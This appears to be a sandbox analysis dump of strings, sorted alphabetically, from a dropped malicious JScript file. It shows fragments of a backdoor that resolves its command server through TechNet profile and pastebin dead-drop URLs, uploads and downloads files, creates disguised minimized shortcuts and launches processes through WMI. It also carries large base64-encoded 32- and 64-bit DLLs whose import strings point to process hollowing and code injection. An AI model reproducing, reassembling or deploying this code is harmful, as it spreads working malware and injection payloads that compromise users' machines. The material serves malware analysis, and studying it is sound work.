Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null)realTimeOut=timeout;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null){realSec=timeout;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(typeof(err)=='object'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(username!=null && password!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(waitTime<=0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(workFlag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(WScript.CreateBlockFile(this.downFile, this.downOnce, this.downIndex)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inArray:function(arr, item){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownFile='+this.downFile+'\ndownSize='+this.downSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOk='+this.downOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOnce='+this.downOnce+'\ndownInterval='+this.downInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.downIndex+'/'+this.downCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.upIndex+'/'+this.upCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupFile='+this.upFile+'\nupSize='+this.upSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOk='+this.upOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOnce='+this.upOnce+'\nupInterval='+this.upInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'downStart='+this.downStart+'\ndownEnd='+this.downEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'upStart='+this.upStart+'\nupEnd='+this.upEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info = lines[i].split('|');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile = this.oFS.CreateTextFile(mockIniPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('[cfg]');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('args=' + args);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('mock="'+ mock +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('outf="' + mockOutPath +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('real="'+ real +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initCode : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll32:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll64:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initUrl : 'about:blank',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.CommandLine = CommandLine;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.CurrentDirectory = null;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.ProcessStartupInformation = startInfo;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
input = this._utf8_encode(input);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpRegex : /lkhd==ad=nf(.*?)=lkjf=kn/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpRes = this.jmpRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpUrl: '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpUrlList : ['https://social.technet.microsoft.com/Profile/technetxukbakupse','https://social.technet.microsoft.com/Profile/technetxuk','http://pastebin.com/RjN4aPYb'],
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
kb:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
len = property.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
lines = this.getAllUserSid().split('\n');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Arguments = args;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.IconLocation = 'notepad.exe, 0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Save();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.TargetPath = target;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.WindowStyle = Minimized;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginAction : 'ajax.php',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginForm.action = this.loginAction;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginFormId : 'loginForm',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
main:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLen = bander.length + 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList[i] = maxLen;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
method = proc.Methods_.Item('GetOwner');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Minimized = 7;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
minute = "0" + minute;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mksc:function(path, target, args){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "//8A6LYFAACLTRCLVfBRUlONhcD4//9omCAAEFD/FXggABCNhcD4//+DxCCNUAGKCECEyXX5agCNTdBRK8JQjZXA+P//Ulb/FSAg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "/2jUIAAQUf/Xg8RAjZUA+P//Uo2FAPD//1ZQi0UQ6Fj8//+DxAxoAIAAAGoAVov4/xUcIAAQhf90FYtFFIXAfgeL3+jz+///V/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "5ItV6FFS/9CLR1CLTzSLVehqQGgAMAAAUFFS/xVIIAAQiUX4hcAPhPEAAACLV1SNTfxRi00MUotV6FFQUv8VaCAAEIXAD4S5AAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQIgAAJCIAADIiAABAIgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7FFTVldqAGoAagNqAGoBaAAAAIBQ/xUE";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAUEUAAEwBBABHPrpTAAAAAAAAAADgAAIhCwEKAAAKAAAACgAAAAAAAIgXAAAAEAAAACAAAAAAABAAEAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAQAAC4AAAAGTApMEAwUzBiMHIwiTCQMLwwyzDSMPgwBjEQMTYxWjF0MegxEzJUMooykTK7MsIy8zIcMzszQDNGM00z";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAACAAAJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAG8IAAAAEAAAAAoAAAAEAAAAAAAAAAAAAAAAAAAg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAEAAAMAucmVsb2MAABoBAAAAQAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABgLnJkYXRhAADoBAAAACAAAAAGAAAADgAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAALAAAAAAwAAAAAgAAABQAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABOdFVubWFwVmlld09mU2VjdGlvbgAAAABudGRsbC5kbGwAAAAlcyAlcwAAAE1vY2tNb2R1bGU9JXMKUmVhbENtZD0lcyAlcwpU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABtb2NrX3J1bjJfV2luMzIuZGxsAERsbFJlZ2lzdGVyU2VydmVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AACqIwAAviMAANojAADoIwAA/iMAAA4kAAAAAAAAKiQAAEAkAABIJAAAVCQAAF4kAABuJAAAeiQAAAAAAADXAUdldFRocmVhZENv";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAIAAAUAAQAAAAAABQABAAAAAAAAUAAAAAQAAAAAAAACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAkCQAAFgAAAA8IQAAPAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ABBW/xVkIAAQaMgCAACNhcT8//9qAFDoVwUAAItV7IPEDI2NwPz//1FSx4XA/P//BwABAP8VACAAEIXAD4RYAQAAi7Vk/f//i1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AFQiAABmIgAAeCIAAI4iAACcIgAAqCIAALYiAADOIgAA3iIAAPIiAAAEIwAAGCMAACQjAAA2IwAARiMAAFgjAAB0IwAAhCMAAJQj";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AKojAAC+IwAA2iMAAOgjAAD+IwAADiQAAAAAAAAqJAAAQCQAAEgkAABUJAAAXiQAAG4kAAB6JAAAAAAAACVzClBJRD0lZAolcwAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AOhgAwAAaP8HAACNjQH4//9qAFHGhQD4//8A6EYDAACLVQiLPXggABBTUo2FAPD//2jMIAAQUP/Xi00Ui1UMi0UIUVNSUI2NAPj/";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "aW1lT3V0PSVkCgoAAAAALmRsbAAAAAAuaW5pAAAAAG1vY2sAAAAAY2ZnAHJlYWwAAAAAYXJncwAAAABvdXRmAAAAAHRpbWUAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "aXJ0dWFsQWxsb2NFeAAAnAFHZXRQcml2YXRlUHJvZmlsZVN0cmluZ0EAAJgCUHJvY2VzczMyTmV4dAClAUdldFByb2Nlc3NJZAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "bnRleHQAAFMAQ3JlYXRlRmlsZUEAYwFHZXRGaWxlU2l6ZQBAA1NldFRocmVhZENvbnRleHQAABsDU2V0RmlsZVBvaW50ZXIAAJYC";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "c2VIYW5kbGUArQNXcml0ZVByb2Nlc3NNZW1vcnkAANICUmVzdW1lVGhyZWFkAACDAERlbGV0ZUZpbGVBAEtFUk5FTDMyLmRsbAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "c3MAlgFHZXRQcml2YXRlUHJvZmlsZUludEEAhANWaXJ0dWFsRnJlZUV4ALgCUmVhZFByb2Nlc3NNZW1vcnkAZgBDcmVhdGVQcm9j";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "cDOSM98zDjQ1ND80STRsNHU07zT8NBc1RzVgNXc1mzWvNdc13jX1Nfo1FDYZNiI2JzZBNkY2SzZlNmo2bzaJNo42kzajNqg2rjbn";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DIN9DAB0EaEoMAAQhcB0CFdWU//QiUUMi0UMX15bXcIMAMz/JYAgABDMzMzM/yWQIAAQzMzMzMzMzMzMzFE9ABAAAI1MJAhyFIHp";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DSEAEGgcIQAQaBghABD/1o2V+P7//1JoBQEAAI2F2Pr//1BoDSEAEGgkIQAQaBghABD/1o2N+P7//1FoBQEAAI2V4Pv//1JoDSEA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "eCEAAAAAAAAAAAAAHCQAAAAgAADwIQAAAAAAAAAAAAA0JAAAeCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECIAACQiAAAyIgAAQCIA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EGgsIQAQaBghABD/1o2F+P7//1BqAGg0IQAQaBghABD/FSggABBQjY3g+///UY2V8P3//1KNhej8//9QjY3Y+v//6L39//+DxBAz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EI1MJBCL8FFW/xUUIAAQhcB0JYs9UCAAEDlcJCh1DYtUJBhS6Hz///+DxASNRCQQUFb/14XAdeFW/xVkIAAQX15bi+Vdw8zMzMzM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EIXAdBU7ffx1EFb/FWQgABBfXovDW4vlXcNoAIAAAGoAU/8VHCAAEFb/FWQgABBfXjPAW4vlXcPMzMxVi+yD5PiB7CwBAABTi10I";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "fQFHZXRNb2R1bGVGaWxlTmFtZUEAAH8BR2V0TW9kdWxlSGFuZGxlQQAAcgBDcmVhdGVUb29saGVscDMyU25hcHNob3QAADQAQ2xv";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "FQwgABCLTexR/xVsIAAQi1XsUv8VZCAAEItF6F9eW4vlXcOLRfiFwHQSaACAAABqAFCLRehQ/xUsIAAQi03sizVkIAAQUf/Wi1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g+4E6+pQ/xV8IAAQgyUkMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9EDAAEADrJoP+AXQFg/4CdSKhKDAAEIXAdAlX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g8QMM8BTZolFvP8VcCAAEFZogAAAAGoCjU3UUWoDaAAAAEBTx0XUDAAAAIl12MdF3AEAAAD/FQQgABCL8DPAg/7/D4RgAgAAjVXo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i+yB7EAHAABTi9iLRQxWM/a5TVoAAIl1+GY5CHQIXjPAW4vlXcNXi3g8A/iBP1BFAAAPhbkCAABqQI1VkFZSx0WMRAAAAOhUBgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i0X8O0dUD4WtAAAAD7dPFDPSM9uNRDkYZjtXBnNBjXAQkIsGhcB0KItWBANVDI1N/FGLTehQi0b8A0X4UlBR/xVoIAAQhcB0cIsW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IAAQi/CD/v90cGoAVv8VCCAAEIv4g///dFlqBGgAMAAAV2oA/xVEIAAQi9iF23RDagBqAGoAVv8VECAAEGoAjU38UVdTVv8VPCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IQAQoAwhABCNjfj+//9RiRZoBQEAAI2V6Pz//1JoDSEAEGgQIQAQiEYEizVMIAAQaBghABD/1o2F+P7//1BoBQEAAI2N8P3//1Fo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "jUX8UGoEjU3kUYPGCFZSiXXg/xUwIAAQhcAPhC8BAACDffwED4UlAQAAi0XkO0c0dSFoqCAAEGjAIAAQ/xVcIAAQUP8VQCAAEItN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Nu829TYANw03FTcjNyg3LTcyNz03SjdUN2k3dTd7N503rzcLOCg4MjgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "O1X8dWkPt0cGQ4PGKDvYfMaLdeCLReiNTfxRagSNVfhSVlD/FWggABCFwHRBg338BHU7i08oA034i0XsjZXA/P//UlCJjXD9////";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "oSQwABBoBDAAEGgAMAAQoyAwABDo6wAAAP8FEDAAEFlZ6z2FwHU5oSQwABCFwHQwiw0gMAAQVo1x/DvwchKLDoXJdAf/0aEkMAAQ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "sgJzcHJpbnRmAE1TVkNSVC5kbGwAAF4CZnJlZQAADwFfaW5pdHRlcm0AkQJtYWxsb2MAAJ0AX2FkanVzdF9mZGl2AADBAV9zdHJp";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABhlyPHJfZNlCX2TZQl9k2UXupBlCT2";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TZRK6UmUJ/ZNlErpR5Qh9k2UpupDlCT2TZTm+RCUJvZNlCX2TJQD9k2UPmvilCb2TZQ+a9aUJPZNlD5r0JQk9k2UUmljaCX2TZQA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UFH/FVggABCAvfj+//8AjbX4/v//dAZGgD4AdfqAPi50CY1JAE6APi51+mgAIQAQVv8VjCAAEIPECIXAdAq4AQAAAF6L5V3DixUI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UHJvY2VzczMyRmlyc3QAAJADV2FpdEZvclNpbmdsZU9iamVjdACDA1ZpcnR1YWxGcmVlAKQDV3JpdGVGaWxlAIYCT3BlblByb2Nl";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UotVCI1NjFFQUGoEagFQUFJQiXXIiXXMx0W4AQEAAIlF6IlF7IlF8IlF9P8VNCAAEIXAD4QiAgAAaP8DAACNhcH4//9qAFDGhcD4";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Uv/WM8BfXluL5V3DzMzMzMxVi+y4ABAAAOijAwAAi0UMU1aL2ehX+///i/CF9nUGXluL5V3DV2j/BwAAjYUB8P//agBQxoUA8P//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VCIAAGYiAAB4IgAAjiIAAJwiAACoIgAAtiIAAM4iAADeIgAA8iIAAAQjAAAYIwAAJCMAADYjAABGIwAAWCMAAHQjAACEIwAAlCMA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VldTagBo//8fAP8VJCAAEIvwhfZ0EGoBVv8VOCAAEFb/FWQgABBoJAEAAI1EJBhqAFDHRCQcKAEAAOhBBwAAg8QMagBqAv8VYCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VlP/0IXAdAxXVlPoFf///4XAdQQzwOtOV1ZT6Jj9//+D/gGJRQx1DIXAdTdXUFPo8f7//4X2dAWD/gN1JldWU+jg/v//hcB1AyFF";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "wF6L5V3Di0QkCIXAdQ45BRAwABB+Lv8NEDAAEIsNiCAAEIP4AYsJiQ0cMAAQdT9ogAAAAP8VhCAAEIXAWaMkMAAQdQQzwOtmgyAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Y21wAACZAm1lbXNldAAAAAAAAAAAAAAAAAAAAAAAAEc+ulMAAAAAwiQAAAEAAAABAAAAAQAAALgkAAC8JAAAwCQAAJAVAADWJAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ZCAAEF9euAEAAABbi+Vdw1WL7ItFCKMUMAAQuAEAAABdwgwAzMzMzMzMzMzMzMzMVYvsgewoBQAAiw0UMAAQVmgFAQAAjYX4/v//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "zMzMzMzMzMzMzFaL8IX2fitXiz0YIAAQi/9o6AMAAFNO/9eFwHQEhfZ171P/FVQgABBQ6CL///+DxARfXsPMzMzMzMzMzMzMzMxV";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ZXNzQQAAXgNUZXJtaW5hdGVQcm9jZXNzAAC1AlJlYWRGaWxlAACgAUdldFByb2NBZGRyZXNzAACBA1ZpcnR1YWxBbGxvYwAAggNW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/+schf90GEiLBXQVAABIhcB0DEyLxovTSIvN/9CL+EiLdCRASItsJDhIi1wkMIvHSIt8JEhIg8Qow/8lEgYAAMzMzMzMzMzMzMxI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/0mLzf8V4wwAAEmLzf8VYg0AAEiNTQgz0kG4yAQAAEiJXQDo6QcAAEiLTCRYSI1VAMdFMAsAEAD/FW8MAACFwA+ErQEAAEyLrYgA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "6PIDAABIjY2BBAAAM9JBuP8HAADGhYAEAAAA6NcDAABMjY1gAgAATI1FQEiNFeUJAABIjY2ADAAA/xVkCQAASI2FYAIAAEyNjVAB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "7NAJAABIi4UgCQAAM9tNi/lIY3A8SIlcJGhJi/hIA/JMi+JMi/GBPlBFAAB0BzPA6XMDAAAz0kiNTZhMiawkAAoAAESNQmDHRZBo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "9AoAAEiLTCRY/xVZCwAASItMJFD/FU4LAAAzwEyLrCQACgAATI2cJNAJAABJi1tASYtzSEmL40FfQV5BXF9dw0iJDWEaAAC4AQAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "A1dyaXRlRmlsZQCCAk9wZW5Qcm9jZXNzAJgBR2V0UHJpdmF0ZVByb2ZpbGVJbnRBAIoDVmlydHVhbEZyZWVFeAC0AlJlYWRQcm9j";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "A1NsZWVwAKwBX3N0cmljbXAAAKECbWVtc2V0AAAAAAAAAAAAAEs+ulMAAAAA4iYAAAEAAAABAAAAAQAAANgmAADcJgAA4CYAALAV";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAA6DUJAABIi89miV3Q/xWkDgAASIlcJDBMjUwkeLoAAABAQbgDAAAASIvPx0QkKIAAAADHRCR4GAAAAEiJXYDHRYgBAAAAx0Qk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAA2QFHZXRUaHJlYWRDb250ZXh0AABWAENyZWF0ZUZpbGVBAGYBR2V0RmlsZVNpemUARgNTZXRUaHJlYWRDb250ZXh0";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAPkQ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQISIl0JBhXSIPsQEUzyUjHRCQwAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAkAAAAAAAAVCQAAAAAAABiJAAAAAAAAHAkAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAIAAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAzgsAAAAQAAAADAAAAAQAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAQAAAwC5wZGF0YQAAkAAAAABAAAAAAgAAABgAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAACAAAGAucmRhdGEAAAYHAAAAIAAAAAgAAAAQAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAACVzClBJRD0lZAolcwAAAABOdFVubWFwVmlld09mU2VjdGlvbgAAAABudGRsbC5kbGwAAAAlcyAlcwAAAAAAAABNb2Nr";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAFBFAABkhgQASz66UwAAAAAAAAAA8AAiIAsCCgAADAAAAAwAAAAAAABwGQAAABAAAAAAAIABAAAAABAAAAACAAAFAAIA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAABAJAAAAAAAAFQkAAAAAAAAYiQAAAAAAABwJAAAAAAAAIQkAAAAAAAAliQAAAAAAACoJAAAAAAAAL4kAAAAAAAAzCQAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAADaJQAAAAAAAO4lAAAAAAAACiYAAAAAAAAYJgAAAAAAAC4mAAAAAAAAPiYAAAAAAACOJgAAAAAAAAAAAAAAAAAAcCYAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAUAAgAAAAAAAFAAAAAEAAAAAAAAAgBAAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAACwJgAAVgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAD4mAAAAAAAAjiYAAAAAAAAAAAAAAAAAAHAmAAAAAAAAfCYAAAAAAACEJgAAAAAAAFomAAAAAAAAliYAAAAAAACiJgAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAhCQAAAAAAACWJAAAAAAAAKgkAAAAAAAAviQAAAAAAADMJAAAAAAAANgkAAAAAAAA5iQAAAAAAAD+JAAAAAAAAA4lAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAiA1NldEZpbGVQb2ludGVyAACSAlByb2Nlc3MzMkZpcnN0AACWA1dhaXRGb3JTaW5nbGVPYmplY3QAiQNWaXJ0dWFsRnJlZQCq";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAB8JgAAAAAAAIQmAAAAAAAAWiYAAAAAAACWJgAAAAAAAKImAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
